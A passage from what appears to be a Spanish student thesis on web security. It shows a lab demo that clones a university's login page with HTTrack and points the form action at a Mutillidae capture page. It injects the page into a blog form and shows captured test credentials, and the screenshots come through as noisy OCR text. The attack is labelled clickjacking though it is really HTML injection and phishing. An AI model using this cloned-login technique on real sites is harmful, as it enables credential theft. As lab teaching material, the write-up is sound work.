informatica, tener contrasefias seguras e ir actualizandolas peridodicamente y soluciones mas
especificas como no permitir que un usuario al registrarse tenga comillas o comentarios de linea
en su nombre y sanear la introduccion de datos, es decir, no concatenar directamente lo
introducido por el usuario ya registrado.
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4.2.4 ClickJacking

Este ataque consiste en el engafio del usuario dentro de una pagina web, de manera que este
seleccione un elemento invisible de la pagina u oculto en otro.

El fin de este ataque es conseguir redirigir al usuario a una pagina web maliciosa, robar
credenciales o informacion confidencial o incluso el robo de dinero.

Es un ataque silencioso pues el usuario mientras esta en la pagina web no es alertado del peligro
hasta que hace click sobre el elemento malicioso.

Para analizar la forma de explotar esta vulnerabilidad volvemos a iniciar con la maquina virtual,
la herramienta de Metasploitable. Dentro de esta usaremos Mutillidae y accederemos a dos
utilidades: ‘Add to your blog’, utilizada anteriormente donde nos aparece un formulario donde
podemos introducir cualquier texto, y ‘Data Capture’ que permite capturar datos.

Nuestro objetivo es que en la pagina de ‘Add to your blog’ aparezca un formulario donde la
victima introduzca sus credenciales y asi robarlos. Para ello, redactamos el codigo malicioso a
insertar en el sitio web. Para ello, introducimos un formulario donde action, es decir, el sitio que
va a recibir los datos, sea precisamente la direccion de ‘Data Capture’.

Antes de continuar con la prueba de este ataque, voy a hacer uso de otra herramienta nombrada
anteriormente HTTRACK. Esta aplicacion se utiliza para hacer una copia offline de sitios de
internet, para capturarlos, con el fin de poder modificarlo. Se descarga en el disco local parte del
sitio web, habitualmente la parte frontend entera.

Para el uso de esta herramienta la descargamos directamente de internet y procedemos a la
instalacion.

H WinHTTrack Website Copier - [copia_upv.whtt]

File Preferences Mirror Log Window Help

- Disco local <C:>
curso_html_y_css - Mimoring Mode -
definitivo
DRIVERS

Intel
PerfLogs
Program Files

Enter address{es) in URL box

Action [Download web sitels) =

] [ [ [ ()

Program Files (x86)
Users Web Addresses: (URL) Add URL. |

Windows
xampp

hittps://www .upv es/es

[

-

Preferences and mirror options: I T R |

< Mras | Siguiente > Cancel Ayuda

Figura 43. Interfaz HTTRACK

Simplemente creamos un nuevo proyecto indicando la url del sitio a analizar, en este caso
https://www.upv.es/es, en las diferentes opciones sefialamos la de descargar el sitio web y
simplemente con esto procede a la clonacion de la pagina.
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Figura 44. Descarga archivos en HTTRACK

In progress: Parsing HTML file..
[~ Information
Bytes saved: 1,04MiB Links scanned: 2/12(+10)
Time: 5 Files written: 11
Transfer rate: 239,13KiB/s (211,77KiB/s) Files updated: 0
Active connections: 1 Ermors: 0
v Actions:
scanning https://www upv.es/_nuxt '1 C__SKIP |
’ KP |
r = I

Tras este proceso ya tenemos en el disco local una copia de la parte frontend de esta pagina.

« v
~
Nombre
50a.upv.es
chat.1millionbot.com
contacto.upv.es
hts-cache
i2t.webs.upv.es
innovacion.upv.es
innovacionwebs.upv.es
intranet.upv.es
medioambiente.webs.upv.es
moneres.upv.es
siewebs.upv.es
www.google-analytics.com
Www.Lpv.es
[&] backblue.gif
[&] fade.gif

| s e
18 elementos

Fecha de modificacion

21/06/2022 19:07
21/06/2022 20:17
21/06/2022 19:14
21/06/2022 1842
21/06/2022 20:48
21/06/2022 20:48
21/06/2022 20:48
21/06/2022 20:32
21/06/2022 20:13
21/06/2022 19:02
21/06/2022 19:20
21/06/2022 20:08
21/06/2022 21:.05
21/06/2022 18:42
21/06/2022 18:42

» Este equipo * Disco local (C) *» My Web Sites * copia_upv

Tipo

Carpeta de archivos
Carpeta de archivos
Carpeta de archivos
Carpeta de archivos
Carpeta de archivos
Carpeta de archivos
Carpeta de archivos
Carpeta de archivos
Carpeta de archivos
Carpeta de archivos
Carpeta de archivos
Carpeta de archivos
Carpeta de archivos
Archivo GIF

Archivo GIF

Figura 45. Parte frontend UPV en disco local

Tamafio

5KB
1 KB

Aunque ahora voy a poner un ejemplo de como poner en utilidad este resultado, es importante
analizar todos los archivos ya que podriamos encontrar documentos sensibles como apartados

legales o archivos con contrasefias.
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Siguiendo con la vulnerabilidad web ClickJacking, vamos a buscar dentro de los archivos
descargados la pagina de login de la intranet de la upv para poder hacer algunos cambios sobre
ella.

Simplemente dentro del cédigo html de esta pagina, vamos a cambiar dentro de los formularios,
el action que habia anteriormente, por la direccion de ‘Data Capture’ dentro de Mutillidae para
que capture las credenciales cuando sean introducidas.

<div class="container">

<div id="panelAlumnoOcultar” style="display:none;">

<form name="alumno"” id="alumno" onsubmit="return submit login(this,&#39;alumno&#39;);" target="_top" method="post"
action="http://192.168.1.152/mutillidae/capture-data.php”}

<input type="hidden" value="c" name="id">
<input type="hidden" value="580" name="estilo">
<input type="hidden" value="" name="vista">

Figura 46. Cambio action formulario UPV

Ahora, usamos la vulnerabilidad de ClickJacking que sabemos que hay en nuestro sitio de
pruebas Mutillidae, e introducimos todo el codigo html publicandose en ‘Add to your blog’.

192.168.1.152/mutillidae/index.php?page=add-to-your-blog.php A s 7= _¢° (

%@ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home  Login/Register  Toggle Hints  Toggle Security  Resct DB Viewlog  View Captured Data

\ Welcome To The Blog

Back

—Add New Blog Entry

View Blogs

-

| Add blog for anonymous ‘

|Note: <b>,</b> <i> </i>,<u> and </u> are now allowed in blog entries‘

[<1DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">

<!-- saved from url=
(8069)https://intranet.upv.es/pls/soalu/est_intranet.NI_Portal_n?
p_idioma=c --»>

<html version="-//W3C//DTD XHTML 1.1//EN"
xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance™

xsi:schemalocation="http://www.w3.0org/1999/xhtml A
http://www.w3.org/MarkUp/SCHEMA/xhtm111.xsd" ><head><meta http- Y
Save Blog Entry

Figura 47. Add to your blog de Mutillidae

Al publicarlo observamos como nos aparece la pagina similar a la del login de la UPV con los
formularios correspondientes. Por tanto, si inyectamos este cddigo dentro de una pagina web
que no tenga seguridad para este tipo de vulnerabilidad, es decir, careciera de validacion de los
datos de entrada y saneamiento, aunque no es el caso de la UPV, la victima creeria que su sesion
ha expirado y volveria a introducir sus credenciales.
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Asi es la forma en la que se nos muestra en este caso:

192.168.1.152/mutillidae/index.php?page=add-to-your-blog.php

Acceso con certificado [5v

¢Has olvidado tu PIN?

Si procedes de otro pais, debes incluir
tu numero de pasaporte o NIE ,en lugar
del DNI

Enla casilla de PIN, afiade el numero
PIN de tu automatricula

Tu identidad, asi como los privilegios
que lleva asociadoes, serd recordada
durante toda la sesidn de trabajo. No
olvides, pues, cerrar tu sesion antes de
abandonar el ordenador

Acceso con certificado b Ha

» ¢Has olvidado tu clave?

« Enlacasillade clave de UPVnet, debes
introducir tu contrasefia de UPVnet.

Tu identidad, asi como los privilegios
que lleva asociados, seré recordada
durante toda la sesion de trabajo. No
olvides, pues, cerrar tu sesion antes de
abandonar el ordenador.

Acceso con certificado [v

¢ Has olvidado tu clave?

Si tienes la nacionalidad espafiola,
introduce tu DNI. Si procedes de otro
pais, incluye tu nimero de pasaporte o
NIE.

En la casiila de clave, escribe tu
contrasefia de extraNET.

Tu identidad, asi como los privilegios
que lleva asociados, sera recordada
durante toda la sesion de trabajo. No
olvides, pues, cerrar tu sesion antes de

A s = g ( Iniciarsesion §
Alumnado Personal Personas externas
oNr- L ] oNr- L ] - [
PIN- L] Claveupvnet [ ] Clave® [
Message ! | Entrar Entrar | | Entrar |

abandonar el ordenador.

« Como llegar |
lanos |
« Contacto

[J5CAMPUS HABITAT]:VLC-CAMPUS[,-EMAS upv

Universitat Politécnica de Valencia © 2020 - Tel (+34) 96 387 70 00

Figura 48. Login UPV clonado en Mutillidae

Para comprobar que el funcionamiento es correcto, introduzco un ejemplo de DNI y PIN, en
este caso ‘hola’ para ambos y al darle al boton de entrar, observamos como en la pagina de
‘Data Capture’ efectivamente, se han capturado los datos y ya tendriamos las credenciales de la

;.
victima.
3 | 192.168.4.152/mutillidac/index:php?page=captured-data.php A v 7 Iy
Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In
Home  Login/Register  Toggle Hints  Toggle Security ~ Reset DB Viewlog  View Captured Data
\ Captured Data |
<@ Back
Captured Data Page
This page shows the data captured by page capture-data.php. There should also
be a file with the same data since capture-data.php tries to save the data to a table
and a file. The table contents are being displayed on this page. On this system, the
file should be found in /var/www/mutillidae. The database table is named
captured_data.
é Refresh [+) Delete Capured Data
4 captured records found
Hostname g:;z:;;z Cpllsgt User Agent Referrer Data Date/Time
Mozilla/5.0 (Windows NT
10.0; Win64; x64) id = c estilo = 500 vista = param = cua = miupv
AppleWebKit/537.36 ; _- " > |CIEEEEETENEE JS = 1 PHPSESSID = 2022-06-
192.168.1.148|192.168.1.148 32591 | (KHTML, like Gecko) "gpgﬂag(fd"g& lﬂfg,’y““::'dae"”de"'p“p' d616ae7c4d0b4511bad51169965(1515 JS =1 |14
Chrome/103.0.5060.53 Page=acC-10yollr-io8:hp PHPSESSID = 12:50:53
Safari/537.36 d616ae7c4d0b4511ba451169965(1515
Edg/103.0.1264.37

Figura 49. Data Capture con credenciales capturadas
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Capitulo 5. Conclusion

Este trabajo, en el que se muestra la existencia de muchas herramientas preparadas para el
analisis web, asi como vulnerabilidades que podemos encontrar en sitios publicos de internet,
me llevan a varias conclusiones.

La ciberseguridad es algo a tener en cuenta en el momento que creas un sitio en Internet o
simplemente confias en uno introduciendo datos personales que van a quedar almacenados.

La parte positiva de estas herramientas es que nos permiten el analisis y poner a prueba las
paginas para estar seguros, como en los dos casos anteriormente nombrados, que es un sitio
seguro y en el que se puede confiar, aunque, siempre teniendo en cuenta que van a existir
peligros como el descubrimiento de nuevos ataques o formas de encontrar agujeros de
seguridad.

También hay que darle prioridad a la proteccion a vulnerabilidades o acceso a archivos y
directorios, sobre la proteccion de informacidon como sistema operativo y tecnologias, ya que
esta informacion seria necesaria para facilitar la intrusion, pero si el sitio web esta preparado
para bloquearlo la informacion obtenida no sera de utilidad.

Las paginas publicas analizadas de organismos oficiales son la del Ayuntamiento de Alzira, la
Universidad Politécnica de Valencia, la Universidad de Valencia, el Ayuntamiento del Puerto de
Cadiz, la pagina de la ONU y la del Teatro Real. Pese a obtener informacion en el analisis web,
luego dificultan la intrusion siendo practicamente imposible, y en el trabajo presente no se ha
encontrado ninguna vulnerabilidad, algo que resulta acorde a los sitios a los que representan.

Por tanto, creo que el hecho de contratar profesionales en el sector que se encarguen de la
proteccion de un sitio web a la hora de crearlo es algo fundamental para no poner en peligro a
los clientes, dejando sus datos personales vulnerables, asi como la informacion de la propia
empresa.
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